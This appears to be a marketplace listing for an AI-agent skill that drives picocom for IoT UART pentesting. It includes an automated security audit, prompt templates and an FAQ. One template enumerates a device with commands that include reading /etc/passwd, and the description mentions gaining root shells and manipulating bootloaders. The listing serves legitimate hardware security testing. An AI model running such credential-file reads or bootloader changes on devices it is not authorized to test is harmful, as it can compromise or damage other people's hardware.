print(f"Error reading script file: {e}", file=sys.stderr)
sys.exit(1)
finally:
helper.disconnect()
if __name__ == '__main__':
main()
{
"schema_version": "2.0",
"meta": {
"generated_at": "2026-01-16T20:12:10.254Z",
"slug": "brownfinesecurity-picocom",
"source_url": "https://github.com/BrownFineSecurity/iothackbot/tree/master/skills/picocom",
"source_ref": "master",
"model": "claude",
"analysis_version": "3.0.0",
"source_type": "community",
"content_hash": "a89076995a575c2f485b7582ab80773a9c0e801d2265280b7528c31f3f725db0",
"tree_hash": "8a0692d449be0e1b63aafb81afc8ef60936a676a425bd13d47829bb5376ec4ee"
},
"skill": {
"name": "picocom",
"description": "Use picocom to interact with IoT device UART consoles for pentesting operations including device enumeration, vulnerability discovery, bootloader manipulation, and gaining root shells. Use when the user needs to interact with embedded devices, IoT hardware, or serial consoles.",
"summary": "Use picocom to interact with IoT device UART consoles for pentesting operations including device enu...",
"icon": "🔌",
"version": "1.0.0",
"author": "BrownFineSecurity",
"license": "MIT",
"category": "security",
"tags": [
"iot",
"embedded",
"serial",
"uart",
"pentesting"
],
"supported_tools": [
"claude",
"codex",
"claude-code"
],
"risk_factors": [
"external_commands",
"filesystem",
"network"
]
},
"security_audit": {
"risk_level": "medium",
"is_blocked": false,
"safe_to_publish": true,
"summary": "Legitimate IoT security testing tool. The static analysis flagged 664 patterns but these are FALSE POSITIVES - documentation of standard pentesting commands to run on TARGET DEVICES, not malicious host behavior. The only actual code (serial_helper.py) has one controlled subprocess feature for trigger scripts with 30-second timeout. Authorization requirements are documented. Safe for marketplace.",
"risk_factor_evidence": [
{
"factor": "external_commands",
"evidence": [
{
"file": "SKILL.md",
"line_start": 13,
"line_end": 832
},
{
"file": "examples.md",
"line_start": 1,
"line_end": 489
},
{
"file": "serial_helper.py",
"line_start": 593,
"line_end": 618
}
]
},
{
"factor": "filesystem",
"evidence": [
{
"file": "serial_helper.py",
"line_start": 103,
"line_end": 103
},
{
"file": "serial_helper.py",
"line_start": 819,
"line_end": 820
}
]
},
{
"factor": "network",
"evidence": [
{
"file": "SKILL.md",
"line_start": 130,
"line_end": 130
},
{
"file": "SKILL.md",
"line_start": 364,
"line_end": 364
}
]
}
],
"critical_findings": [],
"high_findings": [],
"medium_findings": [
{
"title": "Controlled subprocess execution in monitor mode",
"description": "The serial_helper.py script can execute external trigger scripts via subprocess.run with shell=True (lines 593-618). This is a documented feature for pentesting workflows where users trigger external events while monitoring UART output. The capability is user-controlled via --trigger-script argument, has a 30-second timeout limit, and requires explicit invocation.",
"locations": [
{
"file": "serial_helper.py",
"line_start": 593,
"line_end": 618
}
]
}
],
"low_findings": [
{
"title": "File operations for logging",
"description": "The script opens log files for writing session data and reads script files for batch command execution. Standard file operations for a serial communication tool. Log files can contain sensitive session data.",
"locations": [
{
"file": "serial_helper.py",
"line_start": 103,
"line_end": 103
},
{
"file": "serial_helper.py",
"line_start": 819,
"line_end": 820
}
]
}
],
"dangerous_patterns": [],
"files_scanned": 5,
"total_lines": 2863,
"audit_model": "claude",
"audited_at": "2026-01-16T20:12:10.254Z"
},
"content": {
"user_title": "Connect to IoT UART Serial Consoles",
"value_statement": "IoT devices often expose debug interfaces via serial connections. This skill provides tools to connect to UART consoles, enumerate device information, interact with bootloaders, and perform security testing on embedded systems.",
"seo_keywords": [
"picocom",
"iot security",
"uart serial",
"embedded device",
"claude code",
"serial console",
"device enumeration",
"bootloader",
"claude",
"codex"
],
"actual_capabilities": [
"Connect to IoT devices via UART serial ports using picocom or Python helper",
"Execute commands on device consoles with prompt detection and output cleaning",
"Monitor UART output passively to capture boot logs and debug information",
"Interact with bootloaders like U-Boot for device manipulation",
"Support AT command mode for cellular and satellite modems",
"Log all serial I/O to files for observation and documentation"
],
"limitations": [
"Requires physical access to device UART pins and serial adapter",
"Cannot test devices without appropriate permissions or authorization",
"Does not provide wireless or network-based device interaction",
"Effectiveness depends on device-specific configurations and prompts"
],
"use_cases": [
{
"target_user": "Security Researchers",
"title": "IoT Vulnerability Research",
"description": "Analyze IoT device firmware, discover vulnerabilities, and document security findings through UART access."
},
{
"target_user": "Embedded Engineers",
"title": "Device Debugging",
"description": "Debug embedded systems, examine boot logs, and interact with device consoles during development."
},
{
"target_user": "Penetration Testers",
"title": "Hardware Pentesting",
"description": "Test IoT device security through serial interfaces, enumerate configurations, and identify attack vectors."
}
],
"prompt_templates": [
{
"title": "Basic Connection",
"scenario": "Connect to UART device",
"prompt": "Connect to serial device /dev/ttyUSB0 at 115200 baud and run help command. Log the session to /tmp/serial_session.log."
},
{
"title": "Device Enumeration",
"scenario": "Gather device info",
"prompt": "Enumerate the connected IoT device by running: uname -a, ifconfig, cat /etc/passwd, and ps aux. Log all output."
},
{
"title": "Boot Monitor",
"scenario": "Capture device boot",
"prompt": "Monitor the UART console for 60 seconds capturing boot logs. Run a trigger script to reboot the device after 5 seconds."
},
{
"title": "AT Commands",
"scenario": "Cellular modem interaction",
"prompt": "Send AT commands to the cellular modem on /dev/ttyUSB0 in AT mode. Query IMEI with AT+CGSN and network info with AT+CSQ."
}
],
"output_examples": [
{
"input": "Connect to /dev/ttyUSB0 at 115200 baud and enumerate the device with help, date, and ifconfig commands",
"output": [
"Connected to /dev/ttyUSB0 @ 115200 baud",
"Detected prompt pattern: User@[^>]+>",
"Command output:",
"help - Available commands listed",
"date - Device system date/time displayed",
"ifconfig - Network interfaces with IP addresses shown"
]
},
{
"input": "Monitor UART console while triggering a device reboot via network API",
"output": [
"Monitoring started for /dev/ttyUSB0",
"Baseline captured for 10 seconds",
"Trigger executed: curl http://192.168.1.100/api/reboot",
"Post-trigger output captured for 45 seconds",
"Boot sequence logged to /tmp/boot_monitor.log"
]
}
],
"best_practices": [
"Always use logging to capture sessions for documentation and later analysis",
"Research device-specific configurations before attempting bootloader interaction",
"Test baud rates systematically if output appears garbled or unreadable"
],
"anti_patterns": [
"Do not assume devices have no authentication - always check for login prompts",
"Do not attempt unauthorized testing on devices you do not own",
"Do not modify bootloader settings without understanding potential consequences"
],
"faq": [
{
"question": "What baud rates are supported?",
"answer": "Common rates include 115200, 57600, 38400, 19200, and 9600. 115200 is the default for most IoT devices."
},
{
"question": "What serial devices can I connect to?",
"answer": "USB-to-serial adapters appear as /dev/ttyUSB* and CDC devices as /dev/ttyACM*. Built-in ports are /dev/ttyS*."
},
{
"question": "Can this skill brick my device?",
"answer": "Bootloader manipulation can potentially damage devices. Always research before making changes and have backup plans."
},
{
"question": "Is my session data safe?",
"answer": "Log files contain all commands and responses. Use secure locations for sensitive data and delete logs after use."
},
{
"question": "What if I see no output?",
"answer": "Check physical connections, verify baud rate, try pressing Enter, and ensure device is powered on."
},
{
"question": "How is this different from screen or minicom?",
"answer": "This skill provides scripted access through a Python helper for automation, with output parsing and logging built-in."
}
]
},
"file_structure": [
{
"name": "examples.md",
"type": "file",
"path": "examples.md",
"lines": 489
},
{
"name": "OBSERVING_SESSIONS.md",
"type": "file",
"path": "OBSERVING_SESSIONS.md",
"lines": 371
},
{
"name": "serial_helper.py",
"type": "file",
"path": "serial_helper.py",
"lines": 852
},
{
"name": "SKILL.md",
"type": "file",
"path": "SKILL.md",
"lines": 899
}
]
}
Related skills
FAQ
What hardware does picocom need?
A UART connection to the target via a USB-to-serial adapter or FTDI cable, plus picocom and python-pyserial installed.
Where are sessions logged?
All commands are logged to /tmp/serial_session.log by default, which you can tail in real time.